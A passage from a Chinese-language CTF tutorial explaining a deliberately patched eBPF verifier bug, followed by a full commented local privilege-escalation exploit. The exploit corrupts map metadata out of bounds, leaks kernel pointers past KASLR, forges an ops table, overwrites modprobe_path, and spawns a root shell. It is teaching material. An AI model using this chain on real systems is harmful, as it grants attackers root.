* 之后凡是有数据包到达 sockets[1],该 BPF 程序就会被执行 */
setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
/* 向 sockets[0] 写入数据,触发另一端(sockets[1])的 BPF 程序
* 注意:sizeof(buffer) = sizeof(char*) = 8(指针大小),只写 8 字节 */
char *buffer = (char *)payload;
return write(sockets[0], buffer, sizeof(buffer));
}
/* =========================================================
* 主函数
* ========================================================= */
int main(int argc, char *argv[]) {
/* 1. 创建 BPF Array Map
* 类型:Array(key 为 int 索引,0-based,访问越界会失败)
* key_size = 4(int)
* value_size = 8(uint64_t)
* max_entries = 2(共两个槽:map[0] 和 map[1])
* 内核返回一个文件描述符 map_fd */
map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(uint64_t), 0x2, 0);
if (map_fd < 0) {
puts("Error while creating bpf map");
return 1;
}
/* 2. 写入初始值:map[0] = 0xaaaabbbb */
int key = 0;
uint64_t value = 0xaaaabbbb;
bpf_update_elem(map_fd, &key, &value, BPF_ANY);
// map[0] = 0xaaaabbbb
/* 3. 将 BPF 字节码程序加载进内核
* 内核 verifier 会验证程序安全性(无越界访问、无死循环等)
* 验证通过后返回 prog_fd(程序的文件描述符) */
int prog_fd = bpf_prog_load_once();
/* 如需调试可打开以下注释,查看 verifier 的详细日志 */
// printf("log: \n%s\n", bpf_log_buf);
if (prog_fd < 0) {
puts("Error while loading bpf program");
return 1;
}
/* 4. 准备一段 payload 数据(内容不重要,只是触发用)*/
uint64_t *payload = malloc(0x20);
/* 5. 触发 BPF 程序执行
* 内部:创建 socketpair → 附加 BPF 程序 → write 触发
* BPF 程序执行:读 map[0]=0xaaaabbbb,+0x10,写入 map[1] */
int ret = trigger1(prog_fd, payload);
if (ret < 0) {
puts("Error while trigger bpf program");
}
/* 6. 从用户态读取 map[1],验证 BPF 程序是否正确执行
* 预期结果:map[1] = 0xaaaabbbb + 0x10 = 0xaaaacbbb */
key = 1;
value = 0x0;
bpf_lookup_elem(map_fd, &key, &value);
printf("find map[%d] = %#lx\n", key, value);
// 预期输出:find map[1] = 0xaaaacbbb
return 0;
}

例题讲解
先看题目打的补丁:
修改了两个地方:
can_skip_alu_sanitation函数直接返回
true,意味着所有情况都跳过 ALU 净化。is_safe_to_compute_dst_reg_range去掉了
src_is_const的约束,即使移位量是运行时变量,verifier也会尝试推断目标寄存器的范围。只要其umax_value(验证器追踪的上界,也就是验证器推断出的该寄存器无符号整数的最大可能值)满足条件,也认为是安全的。
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 24ae8f33e5d7..e5641845ecc0 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -13030,7 +13030,7 @@ static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,
static bool can_skip_alu_sanitation(const struct bpf_verifier_env *env,
const struct bpf_insn *insn)
{
- return env->bypass_spec_v1 || BPF_SRC(insn->code) == BPF_K;
+ return true;
}
static int update_alu_sanitation_state(struct bpf_insn_aux_data *aux,
@@ -14108,7 +14108,7 @@ static bool is_safe_to_compute_dst_reg_range(struct bpf_insn *insn,
case BPF_LSH:
case BPF_RSH:
case BPF_ARSH:
- return (src_is_const && src_reg->umax_value < insn_bitness);
+ return (src_reg->umax_value < insn_bitness);
default:
return false;
}
所以我们的思路就是构造假寄存器范围 → 越界写内核结构体 → 修改 map 元数据 → 任意地址写 → 改 modprobe_path → 提权
// gcc exploit.c -static -masm=intel -g -o exploit
#include "kpwn.h"
/*
mv ./rootfs.cpio ./rootfs.cpio.gz
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio
*/
int main() {
bind_core(0);
save_status();
/* =========================================================
* 阶段0:检查是否已经提权成功
* 如果之前的利用已经让我们获得了 root,直接弹 shell
* setuid(0) 将有效 UID 设为 0(root)
* 如果内核已经被我们修改(如 cred 结构体被篡改),这里就会成功
* ========================================================= */
setuid(0);
if(getuid() == 0) {
system("/bin/sh");
}
/* =========================================================
* 阶段1:创建三个 BPF Map
*
* 三个 map 都落在 kmalloc-4096 slab(大小约 0x150 * 相关系数)
* 这样它们在内存中相邻,方便后续越界操作
*
* oob_map: 越界读写的"武器",通过它做 OOB 访问
* victim_map: 被越界写的"受害者",其元数据会被篡改
* exp_map: 最终利用阶段用于任意地址写的"工具"
* ========================================================= */
// oob_map: key=4字节, value=0x150字节, 只有1个条目
// value 故意设大(0x150),为后续 OOB 偏移计算做准备
int oob_map = bpf_map_create(4, 0x150, 1);
// victim_map: key=4字节, value=8字节, 0x150/8=42 个条目
// 这个 map 会被 oob_map 越界写到,其 max_entries/index_mask 将被篡改
int victim_map = bpf_map_create(4, 8, 0x150/8);
// exp_map: key=4字节, value=8字节, 0x150/8=42 个条目
// 后期用于任意地址写(通过篡改其 ops 指针实现)
int exp_map = bpf_map_create(4, 8, 0x150/8);
if(oob_map < 0){
perror("create_map");
return 1;
}
/* 向 oob_map[0] 写入初始值 1,激活这个槽位 */
size_t val = 1;
bpf_map_update_elem(oob_map, 0, &val, BPF_ANY);
printf("Test: %p\n", bpf_map_lookup_elem(oob_map, 0, 0));
/* =========================================================
* 阶段2:构造触发漏洞的 BPF 程序(kleak_prog)
*
* 核心目的:
* 利用 verifier 对 ARSH(算术右移)的 range 推断漏洞
* 构造一个 verifier 认为是 0、实际运行时是非 0 的寄存器
* 用这个寄存器做偏移,越界写 victim_map 的内核元数据
*
* 具体目标:
* 将 victim_map->max_entries 改为 0xffffffff(无限大)
* 将 victim_map->index_mask 改为 0xffffffff(无限掩码)
* 改完之后就可以用 victim_map 访问任意偏移的内存
* ========================================================= */
/* test 用于构造一个运行时为奇数的值
* 配合后续运算会使 REG_8 & 1 == 1(运行时) */
size_t test = 0;
memcpy(&test, "\x60\x61\x62\x63\x64\x65\x66\x67", 8);
struct bpf_insn kleak_prog[] = {
/* --- 准备工作:查找 oob_map[0] 的地址 --- */
// r0 = 0(临时清零,用于后面在栈上写 key)
BPF_MOV64_IMM(BPF_REG_0, 0),
// r1 = test(一个运行时为奇数的值,后续用于触发漏洞)
BPF_MOV64_IMM(BPF_REG_1, test),
// *(uint32_t *)(fp - 4) = 0 -> 在栈上构造 key=0
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
// r6 = r1 = test(保存 test 值备用)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
// r1 = oob_map 的 fd(map_lookup 第一个参数)
BPF_LD_MAP_FD(BPF_REG_1, oob_map),
// r2 = fp - 4(指向栈上的 key=0,map_lookup 第二个参数)
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
// 调用 map_lookup_elem(oob_map, key=0)
// 返回值 r0 = oob_map->values + 0(array_map 中 value 的内核地址)
// 即 r0 = 内核堆上 oob_map value 数组的起始地址
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
/* --- 空指针检查 --- */
// 如果 r0 != NULL,跳过 EXIT
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
/* --- 触发 verifier range 漏洞,构造"幽灵偏移" --- */
// r7 = r0 = oob_map value 的内核地址(后续用于越界写的基地址)
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
// r8 = *(uint32_t *)(r7 + 0),读取 value 的低 32 位
// 即读取我们之前写入的值(val=1)的低32位 -> r8 = 1
BPF_LDX_MEM(BPF_W, BPF_REG_8, BPF_REG_7, 0),
// r8 &= 1 -> 取最低位
// 运行时:r8 = 1 & 1 = 1
// verifier:r8 属于 {0, 1}(只知道范围,不知道确切值)
BPF_ALU64_IMM(BPF_AND, BPF_REG_8, 1),
// r0 = 1
BPF_MOV64_IMM(BPF_REG_0, 1),
/* ★ 漏洞触发点 ★
* ARSH(算术右移):r0 >>= r8
*
* 运行时:r8 = 1,所以 r0 = 1 >> 1 = 0
*
* Verifier 的错误推断(利用第二处 patch):
* src_is_const = false(r8 是变量)
* 但 patch 后不再要求 src_is_const
* verifier 用 r8.umax_value=1 < 64(insn_bitness) 判断"安全"
* 错误地推断:r0 仍然是 1(或某个"安全"范围)
* 实际上 r0 = 0!
*
* 结果:verifier 认为 r0=1,实际 r0=0
*/
BPF_ALU64_REG(BPF_ARSH, BPF_REG_0, BPF_REG_8),
// r9 = 1
BPF_MOV64_IMM(BPF_REG_9, 1),
// r9 = r9 - r0 = 1 - r0
// 运行时:r9 = 1 - 0 = 1 <- 实际值
// verifier:r9 = 1 - 1 = 0 <- verifier 认为的值(被欺骗)
// ★ 现在 r9 是一个"verifier 认为是 0,实际是 1"的寄存器 ★
BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_0),
// r9 *= 0xc9 = 201
// verifier:r9 = 0 * 0xc9 = 0(认为 r9 仍是 0)
// 运行时:r9 = 1 * 0xc9 = 0xc9(实际偏移量)
BPF_ALU64_IMM(BPF_MUL, BPF_REG_9, 0xc9),
/* --- 用"幽灵偏移" r9 移动 r7 指针,越界到 victim_map 结构体 ---
*
* r7 初始 = oob_map 的 value 指针(内核堆地址)
* verifier 认为 r9=0,所以认为 r7 没有移动(仍在安全范围内)
* 实际上 r9=0xc9,r7 每次 += 0xc9,共加 4 次 = += 0x324
*
* 经过精心计算,r7 最终指向 victim_map 结构体内部
* 具体是 victim_map->max_entries 的位置
*/
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9), // r7 += 0xc9
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9), // r7 += 0xc9
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9), // r7 += 0xc9
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9), // r7 += 0xc9
// 此时 r7 = oob_map_value_ptr + 0x324
// 正好指向 victim_map->max_entries
// r1 = 0xffffffff
BPF_MOV64_IMM(BPF_REG_1, 0xffffffff),
// *(uint32_t *)(r7 + 0) = 0xffffffff
// 即:victim_map->max_entries = 0xffffffff
// verifier 认为这是在写 oob_map value 内部(因为认为 r9=0)
// 实际上越界写到了 victim_map 的 max_entries 字段!
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_1, 0),
// r7 再 += 0xc9(移动到 index_mask 字段)
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),
// 再 += 7(微调,精确对齐 index_mask 字段偏移)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 7),
// *(uint32_t *)(r7 + 0) = 0xffffffff
// 即:victim_map->index_mask = 0xffffffff
// 现在 victim_map 可以用任意大 key 访问,实现越界读写!
BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_1, 0),
BPF_EXIT_INSN(),
};
/* 触发执行 kleak_prog,完成对 victim_map 元数据的越界篡改 */
run_bpf_prog(kleak_prog, sizeof(kleak_prog)/sizeof(kleak_prog[0]));
/* =========================================================
* 阶段3:利用 victim_map 越界读,泄露内核地址
*
* victim_map 的 max_entries 和 index_mask 已被改为 0xffffffff
* 现在可以用任意大的 key 读写 victim_map 以外的内核内存
*
* 内存布局(内核堆上):
* victim_map 结构体
* +0x308: ops 指针 -> array_map_ops(内核符号,用于计算 KASLR 偏移)
* +0x378: map_ptr -> 指向某个内核堆地址(用于计算堆偏移)
* ========================================================= */
uint64_t array_map_ops = 0;
uint64_t map_ptr = 0;
// 用 key=0x308/8=97 越界读,读出 victim_map->ops 指针
// array_map_ops 是内核符号地址,通过与已知偏移比较可以算出 KASLR slide
printf("lookup1: %p\n", bpf_map_lookup_key(victim_map, 0x308/8, &array_map_ops));
// 用 key=(0x308+0x70)/8 越界读,读出一个内核堆指针
// 用于后续精确定位各结构体在内核堆上的位置
printf("lookup2: %p\n", bpf_map_lookup_key(victim_map, (0x308 + 0x70)/8, &map_ptr));
printf("kptr: %p\n", array_map_ops); // 内核代码段地址(用于绕过 KASLR)
printf("heap: %p\n", map_ptr); // 内核堆地址(用于定位结构体)
/* =========================================================
* 阶段4:伪造 vtable(ops 函数表),准备任意地址写原语
*
* BPF map 的操作通过 ops 函数指针表(类似 C++ vtable)分发
* 如果我们用伪造的 ops 替换真实的 ops,就能劫持内核函数调用
*
* fake_vtable 是一份完整的 bpf_map_ops 结构体的函数指针
* 初始值是从真实 array_map_ops 复制过来的(保持大多数函数不变)
* 只修改其中关键的函数指针(如 map_push_elem)指向我们想要的地址
* ========================================================= */
size_t fake_vtable[] = {
/* 这些是真实 array_map_ops 中各函数指针的硬编码值
* 每个元素对应 bpf_map_ops 结构体中的一个函数指针
* 具体偏移可对照内核源码 include/linux/bpf.h 中的 bpf_map_ops */
0xffffffff865d39d0ULL, // [0] map_alloc_check
0xffffffff865d4ca0ULL, // [1] map_alloc
0x0000000000000000ULL, // [2] map_release
0xffffffff865d52c0ULL, // [3] map_free
0xffffffff865d3b40ULL, // [4] map_get_next_key
0x0000000000000000ULL, // [5]
0x0000000000000000ULL, // [6]
0xffffffff86597020ULL, // [7]
0x0000000000000000ULL, // [8]
0x0000000000000000ULL, // [9]
0xffffffff86596df0ULL, // [10]
0x0000000000000000ULL, // [11]
0xffffffff865d3df0ULL, // [12]
0xffffffff865d5760ULL, // [13]
0xffffffff865d3b90ULL, // [14]
0x0000000000000000ULL, // [15] <- 后面会修改这里
0x0000000000000000ULL, // [16]
0x0000000000000000ULL, // [17]
0xffffffff865d3da0ULL, // [18]
0x0000000000000000ULL, // [19]
0x0000000000000000ULL, // [20]
0xffffffff865d4520ULL, // [21]
0x0000000000000000ULL, // [22]
0xffffffff865d4430ULL, // [23]
0xffffffff865d50a0ULL, // [24] map_push_elem(关键:后续被劫持来写任意地址)
0x0000000000000000ULL, // [25]
0x0000000000000000ULL, // [26]
0x0000000000000000ULL, // [27]
0x0000000000000000ULL, // [28]
0x0000000000000000ULL, // [29]
0x0000000000000000ULL, // [30]
0x0000000000000000ULL, // [31]
0x0000000000000000ULL, // [32]
0x0000000000000000ULL, // [33]
0x0000000000000000ULL, // [34]
0x0000000000000000ULL, // [35]
0x0000000000000000ULL, // [36]
0xffffffff865d8d30ULL, // [37]
0xffffffff865be490ULL, // [38]
0xffffffff865d3f60ULL, // [39]
0xffffffff865d3e30ULL, // [40]
0xffffffff877e1b60ULL, // [41]
0xffffffff8701db00ULL // [42] <- 这是 array_map_ops 在无 KASLR 时的地址
};
/* 修复 fake_vtable[15](某个需要有效值的函数指针)*/
fake_vtable[15] = 0xffffffff865d3b40ULL;
/* 将 fake_vtable 中所有地址从"硬编码基址"重定位到实际运行地址
* 公式:实际地址 = 硬编码地址 + (实际 array_map_ops - 硬编码 array_map_ops)
* 这就是利用泄露的 array_map_ops 绕过 KASLR 的方法 */
for (int i = 0; i < sizeof(fake_vtable)/sizeof(fake_vtable[0]); i++){
fake_vtable[i] += array_map_ops - 0xffffffff8701d9a0UL;
// 同时将 fake_vtable 写入 victim_map 的 value 区域
// 后续会让 exp_map->ops 指向这里
bpf_map_update_key(victim_map, i, &fake_vtable[i], BPF_ANY);
}
/* =========================================================
* 阶段5:构造 exp_map 的伪造结构体,实现任意地址写原语
*
* 思路:
* 修改 exp_map 在内核中的结构体字段
* 让 exp_map 变成一个"假的 stack map"
* 调用 bpf_map_update_elem(exp_map, ...) 时
* 内核会调用 ops->map_push_elem(map, value, flags)
* 而 flags 参数恰好可以被我们控制为一个内核地址
* 从而实现"向任意内核地址写入我们指定的值"
* ========================================================= */
/* 向 exp_map[0] 写入 1<<32,激活 stack 语义所需的初始状态 */
val = 1UL<<32;
bpf_map_update_key(exp_map, 0, &val, BPF_ANY);
/* 利用 victim_map 越界写,篡改 exp_map 的内核结构体:
*
* exp_map 在内核堆中的布局(相对偏移):
* +0x000: ops -> 指向 fake_vtable(我们伪造的函数表)
* +0x010: map_type -> 改为 BPF_MAP_TYPE_STACK
* +0x014: key_size -> 改为 4
* +0x018: value_size -> 改为特殊值,触发越界写逻辑
* +0x030: max_entries-> 指向我们构造的堆地址
*/
// 将 exp_map->ops 指向 victim_map 的 value 区域(即我们的 fake_vtable)
val = map_ptr - 0x70 - 0x400 + 0xf8;
bpf_map_update_key(victim_map, 0x308/8, &val, BPF_ANY);
// 设置 exp_map 的 value_size 为特殊值,用于后续写原语的长度控制
val = 0xffffffff00000008;
bpf_map_update_key(victim_map, (0x308 + 0x18)/8, &val, BPF_ANY);
// 将 exp_map 的 map_type 设为 BPF_MAP_TYPE_STACK,key_size 设为 4
// 内核看到 STACK 类型会调用 ops->map_push_elem,而不是普通的 map_update
val = BPF_MAP_TYPE_STACK | 4UL<<32;
bpf_map_update_key(victim_map, (0x308 + 0x10)/8, &val, BPF_ANY);
// 设置 exp_map->max_entries 指向堆上某地址,用于写原语的目标定位
val = map_ptr - 0x70 + 0xf8;
bpf_map_update_key(victim_map, (0x308 + 0x30)/8, &val, BPF_ANY);
/* =========================================================
* 阶段6:利用任意地址写,覆盖 modprobe_path
*
* modprobe_path 是内核中一个全局字符串变量,默认值 "/sbin/modprobe"
* 当用户执行一个内核不认识格式的可执行文件时
* 内核会以 root 权限执行 modprobe_path 指向的程序
* 如果我们把它改成 "/tmp/x",触发时就会以 root 执行我们的脚本
*
* 利用链:
* bpf_map_update_key(exp_map, key, value, flags=目标地址)
* -> 内核调用 fake_vtable->map_push_elem(map, value, flags)
* -> 内核将 value 写入 flags 指向的地址
* -> 实现向任意内核地址写入任意值
* ========================================================= */
// 计算 modprobe_path 的实际内核地址(通过 KASLR 偏移修正)
size_t modprobe_addr = array_map_ops + 0xffffffff874be1e0UL - 0xffffffff8701d9a0UL;
char *target = "/tmp/x";
// 第一次写:将 "/tmp" 写入 modprobe_path 的前 4 字节
// flags 参数传入 modprobe_addr,触发任意地址写
// val - 1 是因为 map_push_elem 内部实现写入时会 +1(stack 语义)
val = *(int *)(&target[0]) - 1;
printf("push: %p\n", bpf_map_update_key(exp_map, 0, &val, modprobe_addr));
// 第二次写:将 "/x\0\0" 写入 modprobe_path 的后 4 字节(偏移 +4)
val = *(int *)(&target[4]) - 1;
printf("push: %p\n", bpf_map_update_key(exp_map, 0, &val, modprobe_addr+4));
// 此时内核中 modprobe_path 已经被改为 "/tmp/x"
/* =========================================================
* 阶段7:触发 modprobe_path 执行,完成提权
* ========================================================= */
// 写入 /tmp/x 脚本:给我们的 exp 程序设置 SUID 位
// chown + chmod u+s 后,/home/ctf/exp 以 root 权限运行
write_file("/tmp/x",
"#!/bin/sh\n"
"/bin/chown root:root /exp\n" // 将 exp 的所有者改为 root
"/bin/chmod u+s /exp" // 设置 SUID 位(执行时以 owner=root 运行)
);
// 给 /tmp/x 加上可执行权限(否则内核无法执行它)
system("chmod 755 /tmp/x");
// 触发 modprobe_path 执行的方法:
// socket(AF_INET, SOCK_STREAM, 255) 中 protocol=255 是未知协议
// 内核找不到对应模块,会以 root 权限执行 modprobe_path(即 /tmp/x)
// /tmp/x 运行后给 /home/ctf/exp 设置了 SUID root
close(socket(AF_INET, SOCK_STREAM, 255));
// 现在 /home/ctf/exp 有 SUID root 权限
// 再次执行自身,这次开头的 setuid(0)/getuid()==0 会成功
// 成功弹出 root shell
system("/exp");
return 0;
}